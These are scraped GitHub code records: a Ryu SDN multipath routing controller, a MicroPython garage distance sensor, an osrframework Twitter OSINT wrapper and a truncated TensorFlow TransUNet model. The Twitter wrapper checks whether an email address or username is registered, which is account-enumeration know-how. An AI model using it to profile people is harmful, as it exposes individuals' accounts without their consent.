self._ports.values():\n            port = v[0]\n            if port.state == PortStates.DEAD:\n                continue\n\n            node = self._net_graph.get_node(port.dpid)\n            if node is None:\n                print(f\"no node found for dpid {port.dpid}\")\n                continue\n\n            send_query(node.datapath, port)\n            port.state = PortStates.IN_PROGRESS\n\n    def probe_iteration(self, send_query: send_query_func):\n        try:\n            self._mu.acquire()\n            self._check_port_states()\n            self._query_all_used_ports(send_query)\n        finally:\n            self._mu.release()\n\n\nclass MULTIPATH_13(app_manager.RyuApp):\n    OFP_VERSIONS = [ofproto_v1_3.OFP_VERSION]\n\n    def __init__(self, *args, **kwargs):\n        super(MULTIPATH_13, self).__init__(*args, **kwargs)\n        self._net_graph = NetGraph(self.logger)\n        self._arp_dispatcher = ArpDispatcher(1)\n        hub.spawn(self.query_switches)\n        # hub.spawn(self._snapshot)\n        self._routing_manager = RoutingManager(self._net_graph)\n\n    @ set_ev_cls(\n        ofp_event.EventOFPErrorMsg,\n        [HANDSHAKE_DISPATCHER, CONFIG_DISPATCHER, MAIN_DISPATCHER])\n    def error_msg_handler(self, ev):\n        msg = ev.msg\n        self.logger.debug('OFPErrorMsg received: type=0x%02x code=0x%02x '\n                          'message=%s', msg.type, msg.code,\n                          utils.hex_array(msg.data))\n\n    @ set_ev_cls(ofp_event.EventOFPSwitchFeatures, CONFIG_DISPATCHER)\n    def switch_features_handler(self, ev):\n        datapath = ev.msg.datapath\n        dpid = datapath.id\n        ofproto = datapath.ofproto\n        parser = datapath.ofproto_parser\n\n        # install table-miss flow entry\n        match = parser.OFPMatch()\n        actions = [parser.OFPActionOutput(ofproto.OFPP_CONTROLLER,\n                                          ofproto.OFPCML_NO_BUFFER)]\n        self.add_flow(datapath, 0, match, actions, 0, 0)\n\n        # ask to notify controller on every event\n        self.send_set_async(datapath)\n\n        self.logger.info(\"switch:%s connected\", dpid)\n\n    def send_set_async(self, datapath):\n        ofp = datapath.ofproto\n        ofp_parser = datapath.ofproto_parser\n\n        packet_in_mask = 1 << ofp.OFPR_NO_MATCH | 1 << ofp.OFPR_ACTION\n        port_status_mask = (1 << ofp.OFPPR_ADD\n                            | 1 << ofp.OFPPR_DELETE\n                            | 1 << ofp.OFPPR_MODIFY)\n        flow_removed_mask = (1 << ofp.OFPRR_IDLE_TIMEOUT\n                             | 1 << ofp.OFPRR_HARD_TIMEOUT\n                             | 1 << ofp.OFPRR_DELETE\n                             | ofp.OFPRR_GROUP_DELETE)\n        req = ofp_parser.OFPSetAsync(datapath,\n                                     [packet_in_mask, packet_in_mask],\n                                     [port_status_mask, port_status_mask],\n                                     [flow_removed_mask, flow_removed_mask])\n        datapath.send_msg(req)\n\n    def add_flow(self, datapath, priority, match, actions, idle_timeout: int, cookie: int):\n        ofp = datapath.ofproto\n        parser = datapath.ofproto_parser\n\n        inst = [parser.OFPInstructionActions(ofp.OFPIT_APPLY_ACTIONS,\n                                             actions)]\n\n        mod = parser.OFPFlowMod(datapath=datapath,\n                                priority=priority,\n                                match=match,\n                                instructions=inst,\n                                idle_timeout=idle_timeout,\n                                flags=ofp.OFPFF_SEND_FLOW_REM,\n                                cookie=cookie)\n        datapath.send_msg(mod)\n\n    def _build_packet_out(self, datapath, buffer_id, src_port, dst_port, data):\n        actions = []\n        if dst_port:\n            actions.append(datapath.ofproto_parser.OFPActionOutput(dst_port))\n\n        msg_data = None\n        if buffer_id == datapath.ofproto.OFP_NO_BUFFER:\n            if data is None:\n                return None\n            msg_data = data\n\n        out = datapath.ofproto_parser.OFPPacketOut(\n            datapath=datapath, buffer_id=buffer_id,\n            data=msg_data, in_port=src_port, actions=actions)\n        return out\n\n    def _send_packet_out(self, datapath, buffer_id, src_port, dst_port, data):\n        out = self._build_packet_out(datapath, buffer_id,\n                                     src_port, dst_port, data)\n        if out:\n            datapath.send_msg(out)\n\n    def _drop_packet(self, datapath, buffer_id, src_port, dst_port, data):\n        msg_data = None\n        if buffer_id == datapath.ofproto.OFP_NO_BUFFER:\n            if data is None:\n                return None\n            msg_data = data\n\n        out = datapath.ofproto_parser.OFPPacketOut(\n            datapath=datapath, buffer_id=buffer_id,\n            data=msg_data, in_port=src_port, actions=[])\n\n        datapath.send_msg(out)\n\n    def _handle_arp_reply(self, arp_pkt: arp.arp):\n        waiting_list = self._arp_dispatcher.handle_arp_reply(\n            arp_pkt.src_ip, arp_pkt.src_mac)\n        self._respond_arp(arp_pkt.src_ip, arp_pkt.src_mac, waiting_list)\n\n    def _respond_arp(self, target_ip: str, target_mac: str, dst_macs: List[str]):\n        for mac in dst_macs:\n            h = self._net_graph.get_host(mac)\n            if h is None:\n                self.logger.info(\n                    f\"skipping arp response to unknown target {mac}\")\n                continue\n            dst_ip = h.ipv4\n\n            response = packet.Packet()\n            response.add_protocol(ethernet.ethernet(\n                ethertype=ether.ETH_TYPE_ARP,\n                src=target_mac,\n                dst=mac\n            ))\n\n            response.add_protocol(arp.arp_ip(opcode=arp.ARP_REPLY,\n                                             src_mac=target_mac,\n                                             src_ip=target_ip,\n                                             dst_mac=mac,\n                                             dst_ip=dst_ip\n                                             ))\n            response.serialize()\n\n            node = self._net_graph.get_node(h.port.dpid)\n            if node is None:\n                self.logger.info(\n                    f\"no node for dpid {h.port.dpid} in host {h.mac}\")\n                continue\n\n            datapath = node.datapath\n            ofproto = datapath.ofproto\n            port_no = h.port.port_no\n\n            self._send_packet_out(datapath, datapath.ofproto.OFP_NO_BUFFER,\n                                  ofproto.OFPP_CONTROLLER, port_no, response.data)\n\n    def _request_arp(self, target_ip: str, src_ip: str, src_mac: str):\n        request = packet.Packet()\n        request.add_protocol(ethernet.ethernet(\n            ethertype=ether.ETH_TYPE_ARP,\n            src=src_mac\n        ))\n\n        request.add_protocol(arp.arp_ip(opcode=arp.ARP_REQUEST,\n                                        src_mac=src_mac,\n                                        src_ip=src_ip,\n                                        dst_mac=\"ff:ff:ff:ff:ff:ff\",\n                                        dst_ip=target_ip))\n        request.serialize()\n\n        def cb(datapath: Datapath, port_no: int) -> None:\n            ofproto = datapath.ofproto\n            self._send_packet_out(datapath, datapath.ofproto.OFP_NO_BUFFER,\n                                  ofproto.OFPP_CONTROLLER, port_no, request.data)\n        self._net_graph.call_on_all_broadcast_targets(cb)\n\n    def _handle_arp_req(self, arp_pkt: arp.arp):\n        mac, should_request = self._arp_dispatcher.handle_arp_request(\n            arp_pkt.src_mac, arp_pkt.dst_ip)\n        if mac is not None:\n            self._respond_arp(arp_pkt.dst_ip, mac, [arp_pkt.src_mac])\n            return\n        if should_request:\n            self._request_arp(arp_pkt.dst_ip, arp_pkt.src_ip, arp_pkt.src_mac)\n\n    def _handle_arp(self, msg):\n        self.logger.debug(\"ARP processing\")\n\n        pkt = packet.Packet(msg.data)\n        arp_pkt: arp.arp = pkt.get_protocol(arp.arp)\n\n        datapath = msg.datapath\n        dpid = datapath.id\n        in_port = msg.match['in_port']\n\n        self._net_graph.host_learning(\n            arp_pkt.src_mac, arp_pkt.src_ip, dpid, in_port)\n\n        if arp_pkt.opcode == arp.ARP_REQUEST:\n            self._handle_arp_req(arp_pkt)\n            return\n\n        if arp_pkt.opcode == arp.ARP_REPLY:\n            self._handle_arp_reply(arp_pkt)\n            return\n\n    def _establish_route(self, parser, match, route: List[SimplePort], priority: int, cookie: int):\n        # send flows to controller\n        for path_node in route:\n            cp_match = copy.copy(match)\n            actions = [parser.OFPActionOutput(path_node.port_no)]\n            dp = self._net_graph.get_node(path_node.dpid).datapath\n\n            # TODO: add idle timeout and notify controller on flow removal to substract cost from internal graph\n\n            self.add_flow(dp, priority, cp_match,\n                          actions, IDLE_TIMEOUT, cookie)\n\n    def _create_matches(self, pkt: packet.Packet) -> Tuple[SimpleMatch, SimpleMatch, OFPMatch, OFPMatch]:\n        eth: ethernet.ethernet = pkt.get_protocol(ethernet.ethernet)\n        tcp_pkt: tcp.tcp = pkt.get_protocol(tcp.tcp)\n        udp_pkt: udp.udp = pkt.get_protocol(udp.udp)\n\n        fwd_simple_match = None\n        bwd_simple_match = None\n        if isinstance(tcp_pkt, tcp.tcp):\n            fwd_simple_match = SimpleMatch(\n                eth.src, eth.dst, tcp_pkt.src_port, tcp_pkt.dst_port, 0, 0, eth.ethertype, 'tcp')\n            bwd_simple_match = SimpleMatch(\n                eth.dst, eth.src, tcp_pkt.dst_port, tcp_pkt.src_port, 0, 0, eth.ethertype, 'tcp')\n        elif isinstance(udp_pkt, udp.udp):\n            fwd_simple_match = SimpleMatch(\n                eth.src, eth.dst, 0, 0, udp_pkt.src_port, udp_pkt.dst_port, eth.ethertype, 'udp')\n            bwd_simple_match = SimpleMatch(\n                eth.dst, eth.src, 0, 0, udp_pkt.dst_port, udp_pkt.src_port, eth.ethertype, 'udp')\n        else:\n            fwd_simple_match = SimpleMatch(\n                eth.src, eth.dst, 0, 0, 0, 0, eth.ethertype, '')\n            bwd_simple_match = SimpleMatch(\n                eth.dst, eth.src, 0, 0, 0, 0, eth.ethertype, '')\n\n        return fwd_simple_match, bwd_simple_match\n\n    def _handle_ip(self, msg):\n        datapath = msg.datapath\n        parser = datapath.ofproto_parser\n        pkt = packet.Packet(msg.data)\n        ofproto = datapath.ofproto\n\n        matches = self._create_matches(pkt)\n        if matches is None:\n            return\n\n        def er(match: OFPMatch, route: List[SimplePort], priority: int, cookie: int):\n            self._establish_route(parser, match, route, priority, cookie)\n\n        res = self._routing_manager.handle_route_request(\n            matches[0], matches[1], er, datapath.id)\n        if res == EstablishRouteResult.NO_ROUTE:\n            # try one more time because graph could have been not updated\n            self.update_switches()\n            res = self._routing_manager.handle_route_request(\n                matches[0], matches[1], er, datapath.id)\n            if res == EstablishRouteResult.NO_ROUTE:\n                # we are done\n                self.logger.info(\n                    \"could not create route from %s to %s\", matches[0].eth_src, matches[0].eth_dst)\n                return\n        elif res == EstablishRouteResult.DP_NOT_IN_ROUTE:\n            self.logger.info(\n                \"dpid %s not in not route from %s to %s\", datapath.id, matches[0].eth_src, matches[0].eth_dst)\n            self._drop_packet(datapath, msg.buffer_id,\n                              ofproto.OFPP_CONTROLLER, ofproto.OFPP_TABLE, msg.data)\n            return\n\n        # send this packet back to switch and let it match newly added rules\n        self._send_packet_out(datapath, msg.buffer_id,\n                              ofproto.OFPP_CONTROLLER, ofproto.OFPP_TABLE, msg.data)\n\n    def _handle_latency_probe(self, msg):\n        pkt = packet.Packet(msg.data)\n        eth: ethernet.ethernet = pkt.get_protocol(ethernet.ethernet)\n\n        self._net_graph.on_probe_receive(\n            msg.datapath.id, msg.match['in_port'], eth.src)\n\n    @ set_ev_cls(ofp_event.EventOFPPacketIn, MAIN_DISPATCHER)\n    def _packet_in_handler(self, ev):\n        msg = ev.msg\n\n        pkt = packet.Packet(msg.data)\n\n        ip_pkt_6 = pkt.get_protocol(ipv6.ipv6)\n        if isinstance(ip_pkt_6, ipv6.ipv6):\n            self.logger.info(\"dropping unexpected ipv6 packet\")\n            return\n\n        arp_pkt = pkt.get_protocol(arp.arp)\n        if isinstance(arp_pkt, arp.arp):\n            self._handle_arp(msg)\n            packet.Packet(msg.data)\n\n        ip_pkt = pkt.get_protocol(ipv4.ipv4)\n        if isinstance(ip_pkt, ipv4.ipv4):\n            self._handle_ip(msg)\n\n        latency_probe_pkt = pkt.get_protocol(LatencyProbePacket)\n        if isinstance(latency_probe_pkt, LatencyProbePacket):\n            self._handle_latency_probe(msg)\n\n    @set_ev_cls(ofp_event.EventOFPFlowRemoved, MAIN_DISPATCHER)\n    def _flow_removed_handler(self, ev):\n        msg = ev.msg\n        dp = msg.datapath\n        ofp = dp.ofproto\n\n        if msg.reason == ofp.OFPRR_IDLE_TIMEOUT:\n            self._routing_manager.delete_route(msg.cookie)\n        else:\n            self.logger.info(f\"unexpected route remove reason: {msg.reason}\")\n\n    def query_switches(self) -> None:\n        def send_latency_probe(datapath: Datapath, port: SimplePort):\n            ofproto = datapath.ofproto\n\n            probe = packet.Packet()\n            probe.add_protocol(ethernet.ethernet(\n                ethertype=LATENCY_PROBE,\n                dst=port.mac,  # must not match any flow\n                src=port.mac\n            ))\n\n            probe.add_protocol(LatencyProbePacket(time.time_ns()))\n            probe.serialize()\n            self._send_packet_out(datapath, datapath.ofproto.OFP_NO_BUFFER,\n                                  ofproto.OFPP_CONTROLLER, port.port_no, probe.data)\n\n        while True:\n            hub.sleep(1)\n            self._routing_manager.probe_iteration(send_latency_probe)\n\n    @ set_ev_cls(event.EventSwitchEnter)\n    def handler_switch_enter(self, ev):\n        self.logger.info(f\"new switch entered: {ev.switch.dp.id}\")\n        self.update_switches()\n\n    def update_switches(self):\n        switches = copy.copy(get_switch(self))\n        links = copy.copy(get_link(self))\n\n        self._net_graph.update_switches(switches, links)\n\n    def _snapshot(self):\n        base_path = \"/home/mininet/project/data/snaps/\"\n        counter = 0\n        while True:\n            self._net_graph.snapshot(base_path+str(counter))\n            counter += 1\n            hub.sleep(1)\n","repo_name":"antonvlasov/sdn","sub_path":"controller/dynamic_routing.py","file_name":"dynamic_routing.py","file_ext":"py","file_size_in_byte":33977,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"74246888191","text":"import machine\n\nclass DistanceSensor:\n\n    def __init__(self, trigger, echo):\n        self.lastHighTime = 0\n    \n        self.triggerPin = machine.Pin(0, machine.Pin.OUT)\n        self.triggerPin.value(0)\n        self.echoPin = machine.Pin(4, machine.Pin.IN)\n        self.recentDistances = list()\n        \n    def Measure(self):\n        self.triggerPin.value(1)\n        #time.sleep(0.001)\n        self.triggerPin.value(0)\n        \n        time = machine.time_pulse_us(self.echoPin, 1, 100000)\n        dist = 165.7 * time * 3.28084 / 1000000\n        #print(\"Dist: \", dist, \" ft. Temp Timer: \", time)\n        \n        return dist\n            \n    def SmoothedMeasure(self):\n        distanceTolerance = 0.2\n        checkCount = 5\n        distances = list()\n        \n        for i in range(checkCount):\n            distance = self.Measure()\n            if self.IsValidReading(distance):\n                distances.append(distance)\n        \n        currentMeasurement = 0\n        if len(distances) != 0:\n            currentMeasurement = max(distances)\n            self.recentDistances.append(currentMeasurement)\n            if len(self.recentDistances) > checkCount:\n                self.recentDistances.pop(0)\n        \n            firstNum = self.recentDistances[0]\n            for num in self.recentDistances:\n                if abs(firstNum - num) > distanceTolerance:\n                    return 0\n            \n        return currentMeasurement\n        \n    def IsValidReading(self, distance):\n        return 0.1 < distance < 25\n            \n    def IsDoorOpen(self, distance):\n        return distance <= 4\n","repo_name":"borigas/ESP8266Garage","sub_path":"DistanceSensor.py","file_name":"DistanceSensor.py","file_ext":"py","file_size_in_byte":1603,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"60"}
+{"seq_id":"4806848626","text":"__author__ = \"Felix Brezo, Yaiza Rubio  <contacto@i3visio.com>\"\n__version__ = \"2.1\"\n\n\nimport requests\nfrom osrframework.utils.platforms import Platform\nfrom osrframework.api.twitter_api import TwitterAPIWrapper as TwitterAPIWrapper\n\n\nclass Twitter(Platform):\n    \"\"\"A <Platform> object for Twitter\"\"\"\n    def __init__(self):\n        self.platformName = \"Twitter\"\n        self.tags = [\"contact\", \"microblogging\", \"social\"]\n\n        # Base URL\n        self.baseURL = \"https://twitter.com/\"\n\n        self.modes = {\n            \"usufy\": {\n                \"debug\": False,\n                \"extra_fields\": {\n                    \"com.i3visio.FullName\": ' \\((.+)\\)</title>',    # Regular expresion to extract the alias\n                },\n                \"needs_credentials\": False,\n                \"not_found_text\": \"Sorry, that page does not exist. \",                   # Text that indicates a missing profile\n                \"query_validator\": \"[a-zA-Z0-9_]{3,15}\",                            # Regular expression that the alias SHOULD match\n                \"url\": \"https://tweettunnel.com/{placeholder}\",       # Target URL where {placeholder} would be modified by the alias\n            },\n            # Reimplementation needed of check_mailfy\n            \"mailfy\": {\n                \"debug\": False,\n                \"extra_fields\": {},\n                \"needs_credentials\": False,\n                \"not_found_text\": '\"valid\":true',\n                \"query_validator\": \".+\",\n                \"url\": \"https://api.twitter.com/i/users/email_available.json?email=\",\n            },\n        }\n\n    def do_usufy(self, query, **kwargs):\n        \"\"\"Verifying a usufy query in this platform using the API\n\n        If no credentials are provided, the standard verifier will be raised.\n\n        Args:\n            query: The element to be searched.\n\n        Return:\n            A list of elements to be appended.\n        \"\"\"\n        # Trying to interact with the API Wrapper\n        try:\n            self.wrapperAPI = TwitterAPIWrapper()\n\n            results = self.wrapperAPI.get_user(query)\n\n            for r in results:\n                # Manually appending the URL\n                aux = {}\n                aux[\"type\"]=\"i3visio.uri\"\n                alias=r[\"value\"].split(' - ')[1]\n                aux[\"value\"]= self.createURL(word=alias, mode=\"usufy\")\n                aux[\"attributes\"]= []\n                r[\"attributes\"].append(aux)\n\n        # Standard execution\n        except Exception as e:\n            return super(Twitter, self).do_usufy(query, **kwargs)\n\n    def do_searchfy(self, query, **kwargs):\n        \"\"\"Verifying a searchfy query in this platform using the API\n\n        If no credentials are provided, the standard verifier will be raised.\n\n        Args:\n            query (str): The element to be searched.\n\n        Return:\n            A list of elements to be appended.\n        \"\"\"\n        # Trying to interact with the API Wrapper\n        try:\n            results = self.wrapperAPI.search_users(query)\n            # Manually appending the URL\n            for r in results:\n                aux = {}\n                aux[\"type\"]=\"i3visio.uri\"\n                alias=r[\"value\"].split(' - ')[1]\n                qURL = self.createURL(word=alias, mode=\"usufy\")\n                aux[\"value\"]= qURL\n                aux[\"attributes\"]= []\n                r[\"attributes\"].append(aux)\n\n        # Standard execution\n        except Exception as e:\n            return super(Twitter, self).do_searchfy(query, **kwargs)\n\n\n    def check_mailfy(self, query, **kwargs):\n        \"\"\"Verifying a mailfy query in this platform\n\n        This might be redefined in any class inheriting from Platform. The only\n        condition is that any of this should return a dictionary as defined.\n\n        Args:\n            query: The element to be searched.\n            kwargs: Dictionary with extra parameters. Just in case.\n\n        Returns:\n            Returns the collected data if exists or None if not.\n        \"\"\"\n        try:\n            response = requests.get(f\"https://api.twitter.com/i/users/email_available.json?email={query}\")\n            # It is occupied, so it exists\n            if '\"valid\":false' in response.text:\n                return query\n            # It is not occupied, so it is not registered\n            else:\n                return False\n        except Exception as _:\n            return False\n","repo_name":"i3visio/osrframework","sub_path":"osrframework/wrappers/twitter.py","file_name":"twitter.py","file_ext":"py","file_size_in_byte":4382,"program_lang":"python","lang":"en","doc_type":"code","stars":837,"dataset":"github-code","pt":"60"}
+{"seq_id":"29025682516","text":"import warnings\nfrom typing import Dict, List, Optional, Tuple\n\nimport tensorflow as tf\nfrom tensorflow.keras.layers import (\n    Add,\n    Conv2D,\n    Dense,\n    Dropout,\n    Embedding,\n    Input,\n    Layer,\n    LayerNormalization,\n    MaxPooling2D,\n    MultiHeadAttention,\n    Reshape,\n    UpSampling2D,\n    concatenate\n)\nfrom tensorflow.keras.models import Model\nfrom typing_extensions import TypedDict\n\nfrom imagemodel.common.models.common_arguments import ModelArguments\nfrom imagemodel.common.models.common_model_manager import (\n    CommonModelManager,\n    CommonModelManagerDictGeneratable\n)\nfrom imagemodel.common.utils.function import get_default_args\nfrom imagemodel.common.utils.functional import compose_left\nfrom imagemodel.common.utils.gpu_check import check_first_gpu\nfrom imagemodel.common.utils.optional import optional_map\n\ncheck_first_gpu()\n\n\nclass Patches(Layer):\n    def __init__(self, patch_size: int):\n        super(Patches, self).__init__()\n        self.patch_size: int = patch_size\n    \n    def call(self, images, **kwargs):\n        batch_size = tf.shape(images)[0]\n        patches = tf.image.extract_patches(\n                images=images,\n                sizes=[1, self.patch_size, self.patch_size, 1],\n                strides=[1, self.patch_size, self.patch_size, 1],\n                rates=[1, 1, 1, 1],\n                padding=\"VALID\")\n        patch_dims = patches.shape[-1]\n        patches = tf.reshape(patches, [batch_size, -1, patch_dims])\n        return patches\n    \n    def get_config(self):\n        return {\"patch_size\": self.patch_size}\n\n\nclass PatchEncoder(Layer):\n    def __init__(self, num_patches: int, projection_dim: int):\n        super(PatchEncoder, self).__init__()\n        self.num_patches: int = num_patches\n        self.projection_dim: int = projection_dim\n        # self.projection = Dense(units=projection_dim)\n        self.projection = Reshape((-1, self.projection_dim))  # x = x.flatten(2)\n        # transpose? x = x.transpose(-1, -2)  # (B, n_patches, hidden)\n        # 이게 있기는 하지만 안해도 될 것 같다.\n        # block에서 attention 계산하는데, 다시 x.permute(0, 2, 1, 3)로 계산하기 때문이라 생각한다.\n        self.position_embedding = Embedding(input_dim=self.num_patches, output_dim=self.projection_dim)\n        # self.position_embeddings = nn.Parameter(torch.zeros(1, n_patches, config.hidden_size))\n    \n    def call(self, patch, **kwargs):\n        # positions = tf.range(start=0, limit=self.num_patches, delta=1)\n        # TODO: Is 'zero positions' implemented correctly?\n        positions = tf.zeros(self.num_patches, dtype=tf.int32)\n        encoded = self.projection(patch) + self.position_embedding(positions)\n        return encoded\n    \n    def get_config(self):\n        return {\"num_patches\": self.num_patches, \"projection_dim\": self.projection_dim}\n\n\nclass Mlp(Layer):\n    def __init__(self, units: int, dropout_rate: float, **kwargs):\n        super().__init__(**kwargs)\n        self.units = units\n        self.dropout_rate = dropout_rate\n        \n        self.dense_layer = Dense(self.units, activation=tf.nn.gelu)\n        self.dropout_layer = Dropout(self.dropout_rate)\n    \n    def call(self, inputs, **kwargs):\n        x = self.dense_layer(inputs)\n        x = self.dropout_layer(x)\n        return x\n    \n    def get_config(self):\n        return {\"units\": self.units, \"dropout_rate\": self.dropout_rate}\n\n\nclass TransformerBlock(Layer):\n    def __init__(\n            self,\n            mh_num_heads: int,\n            mh_projection_dim: int,\n            mlp_transformer_units: List[int],\n            mh_dropout: float = 0.1,\n            mlp_dropout: float = 0.1,\n            **kwargs):\n        super().__init__(**kwargs)\n        self.mh_num_heads = mh_num_heads\n        self.mh_projection_dim = mh_projection_dim\n        self.mlp_transformer_units = mlp_transformer_units\n        self.mh_dropout = mh_dropout\n        self.mlp_dropout = mlp_dropout\n        \n        self.norm_layer_1 = LayerNormalization(epsilon=1e-6)\n        self.norm_layer_2 = LayerNormalization(epsilon=1e-6)\n        self.multi_head_attention_layer = MultiHeadAttention(\n                num_heads=self.mh_num_heads,\n                key_dim=self.mh_projection_dim,\n                dropout=self.mh_dropout)\n        self.mlp_layers: List[Layer] = []\n        for mlp_transformer_unit in self.mlp_transformer_units:\n            self.mlp_layers.append(Mlp(mlp_transformer_unit, self.mlp_dropout))\n    \n    def call(self, inputs, **kwargs):\n        # 레이어 정규화(normalization) 1.\n        x1 = self.norm_layer_1(inputs)\n        # 멀티 헤드 어텐션 레이어 생성.\n        attention_output = self.multi_head_attention_layer(x1, x1)\n        # 스킵 연결 1.\n        x2 = Add()([attention_output, inputs])\n        # 레이어 정규화 2.\n        x3 = self.norm_layer_2(x2)\n        # MLP.\n        for mlp_layer in self.mlp_layers:\n            x3 = mlp_layer(x3)\n        # 스킵 연결 2.\n        return Add()([x3, x2])\n    \n    def get_config(self):\n        return {\n            \"mh_num_heads\": self.mh_num_heads,\n            \"mh_projection_dim\": self.mh_projection_dim,\n            \"mlp_transformer_units\": self.mlp_transformer_units,\n            \"mh_dropout\": self.mh_dropout,\n            \"mlp_dropout\": self.mlp_dropout}\n\n\nclass ViT(Layer):\n    def __init__(self, patch_size: int, projection_dim: int, num_transformer_layers: int, num_heads: int, **kwargs):\n        super().__init__(**kwargs)\n        self.patch_size: int = patch_size\n        self.projection_dim: int = projection_dim\n        self.num_transformer_layers = num_transformer_layers\n        self.num_heads = num_heads\n        \n        self.patches_layer: Layer = Patches(self.patch_size)\n        self.encoded_patches_layer: Optional[Layer] = None\n        self.norm_layer: Layer = LayerNormalization(epsilon=1e-6)\n        \n        # transformer_units = [self.projection_dim * 2, self.projection_dim]\n        transformer_units = [3072, self.projection_dim]  # ViT-B/16 configuration\n        \n        self.transformer_block_layers: List[Layer] = []\n        for _ in range(self.num_transformer_layers):\n            self.transformer_block_layers.append(\n                    TransformerBlock(\n                            mh_num_heads=self.num_heads,\n                            mh_projection_dim=self.projection_dim,\n                            mlp_transformer_units=transformer_units))\n    \n    def build(self, input_shape):\n        num_patches = input_shape[1] ** 2\n        self.encoded_patches_layer = PatchEncoder(num_patches, self.projection_dim)\n    \n    def call(self, inputs, **kwargs):\n        # 패치 생성\n        patches = self.patches_layer(inputs)\n        # 패치 인코딩\n        encoded_patches = self.encoded_patches_layer(patches)\n        # 트랜스포머 블록\n        for _transformer_block_layer in self.transformer_block_layers:\n            encoded_patches = _transformer_block_layer(encoded_patches)\n        \n        representation = self.norm_layer(encoded_patches)\n        return representation\n    \n    def get_config(self):\n        return {\n            \"patch_size\": self.patch_size,\n            \"projection_dim\": self.projection_dim,\n            \"num_transformer_layers\": self.num_transformer_layers,\n            \"num_heads\": self.num_heads}\n\n\nclass TransUNetLevelArgumentsDict(TypedDict):\n    level: Optional[int]\n    input_shape: Optional[Tuple[int, int, int]]\n    input_name: Optional[str]\n    output_name: Optional[str]\n    base_filters: Optional[int]\n\n\nclass TransUNetLevelArguments(ModelArguments[TransUNetLevelArgumentsDict]):\n    def __init__(self, dic: TransUNetLevelArgumentsDict):\n        self.dic = dic\n    \n    @classmethod\n    def init_from_str_dict(cls, string_dict: Dict[str, str]):\n        return cls(cls.convert_str_dict(string_dict))\n    \n    # noinspection DuplicatedCode\n    @classmethod\n    def convert_str_dict(cls, string_dict: Dict[str, str]) -> TransUNetLevelArgumentsDict:\n        __keys: List[str] = list(TransUNetLevelArgumentsDict.__annotations__)\n        \n        # level\n        level_optional_str: Optional[str] = string_dict.get(__keys[0])\n        level_optional: Optional[int] = optional_map(level_optional_str, eval)\n        \n        # input shape\n        input_shape_optional_str: Optional[str] = string_dict.get(__keys[1])\n        input_shape_optional: Optional[Tuple[int, int, int]] = optional_map(input_shape_optional_str, eval)\n        input_shape_tuples_optional: Optional[Tuple[int, ...]] = tuple(map(int, input_shape_optional))\n        if input_shape_tuples_optional is not None:\n            if type(input_shape_tuples_optional) is not tuple:\n                raise ValueError(\"'input_shape' should be tuple of 3 ints. `Tuple[int, int, int]`.\")\n            if len(input_shape_tuples_optional) != 3:\n                raise ValueError(\"'input_shape' should be tuple of 3 ints. `Tuple[int, int, int]`.\")\n        \n        # input name\n        input_name_optional_str: Optional[str] = string_dict.get(__keys[2])\n        \n        # output name\n        output_name_optional_str: Optional[str] = string_dict.get(__keys[3])\n        \n        # base filters\n        base_filters_optional_str: Optional[str] = string_dict.get(__keys[4])\n        base_filters_optional: Optional[int] = optional_map(base_filters_optional_str, eval)\n        \n        return TransUNetLevelArgumentsDict(\n                level=level_optional,\n                input_shape=input_shape_tuples_optional,\n                input_name=input_name_optional_str,\n                output_name=output_name_optional_str,\n                base_filters=base_filters_optional)\n    \n    @property\n    def level(self) -> Optional[int]:\n        return self.dic.get('level')\n    \n    @property\n    def input_shape(self) -> Optional[Tuple[int, int, int]]:\n        return self.dic.get('input_shape')\n    \n    @property\n    def input_name(self) -> Optional[str]:\n        return self.dic.get('input_name')\n    \n    @property\n    def output_name(self) -> Optional[str]:\n        return self.dic.get('output_name')\n    \n    @property\n    def base_filters(self) -> Optional[int]:\n        return self.dic.get('base_filters')\n\n\nclass TransUNetLevelModelManager(CommonModelManager, CommonModelManagerDictGeneratable[TransUNetLevelArgumentsDict]):\n    def __init__(\n            self,\n            level: Optional[int] = None,\n            input_shape: Optional[Tuple[int, int, int]] = None,\n            input_name: Optional[str] = None,\n            output_name: Optional[str] = None,\n            base_filters: Optional[int] = None):\n        __model_default_args = get_default_args(self.trans_unet_level)\n        __model_default_values = TransUNetLevelArguments(__model_default_args)\n        \n        self.level: int = level or __model_default_values.level\n        self.input_shape: Tuple[int, int, int] = input_shape or __model_default_values.input_shape\n        self.input_name: str = input_name or __model_default_values.input_name\n        self.input_name = self.layer_name_correction(self.input_name)\n        self.output_name: str = output_name or __model_default_values.output_name\n        self.output_name = self.layer_name_correction(self.output_name)\n        self.base_filters: int = base_filters or __model_default_values.base_filters\n    \n    @classmethod\n    def init_with_dict(cls, option_dict: Optional[TransUNetLevelArgumentsDict] = None):\n        if option_dict is not None:\n            trans_unet_level_arguments = TransUNetLevelArguments(option_dict)\n            return cls(\n                    level=trans_unet_level_arguments.level,\n                    input_shape=trans_unet_level_arguments.input_shape,\n                    input_name=trans_unet_level_arguments.input_name,\n                    output_name=trans_unet_level_arguments.output_name,\n                    base_filters=trans_unet_level_arguments.base_filters)\n        else:\n            return cls()\n    \n    @classmethod\n    def init_with_str_dict(cls, option_str_dict: Optional[Dict[str, str]] = None):\n        if option_str_dict is not None:\n            trans_unet_level_arguments_dict = TransUNetLevelArguments.convert_str_dict(option_str_dict)\n            return cls.init_with_dict(trans_unet_level_arguments_dict)\n        else:\n            return cls()\n    \n    def setup_model(self) -> Model:\n        return self.trans_unet_level(\n                level=self.level,\n                input_shape=self.input_shape,\n                input_name=self.input_name,\n                output_name=self.output_name,\n                base_filters=self.base_filters)\n    \n    # noinspection DuplicatedCode\n    @staticmethod\n    def trans_unet_level(\n            level: int = 4,\n            input_shape: Tuple[int, int, int] = (256, 256, 1),\n            input_name: str = \"trans_unet_input\",\n            output_name: str = \"trans_unet_output\",\n            base_filters: int = 16) -> Model:\n        def __trans_unet_level_base_conv_2d(\n                _filter_num: int,\n                kernel_size: int = 3,\n                activation=\"relu\",\n                padding=\"same\",\n                kernel_initializer=\"he_normal\",\n                name_optional: Optional[str] = None) -> Layer:\n            return Conv2D(\n                    filters=_filter_num,\n                    kernel_size=kernel_size,\n                    activation=activation,\n                    padding=padding,\n                    kernel_initializer=kernel_initializer,\n                    name=name_optional)\n        \n        def __trans_unet_base_sub_sampling(pool_size=(2, 2)) -> Layer:\n            return MaxPooling2D(pool_size=pool_size)\n        \n        def __trans_unet_base_up_sampling(\n                _filter_num: int,\n                up_size: Tuple[int, int] = (2, 2),\n                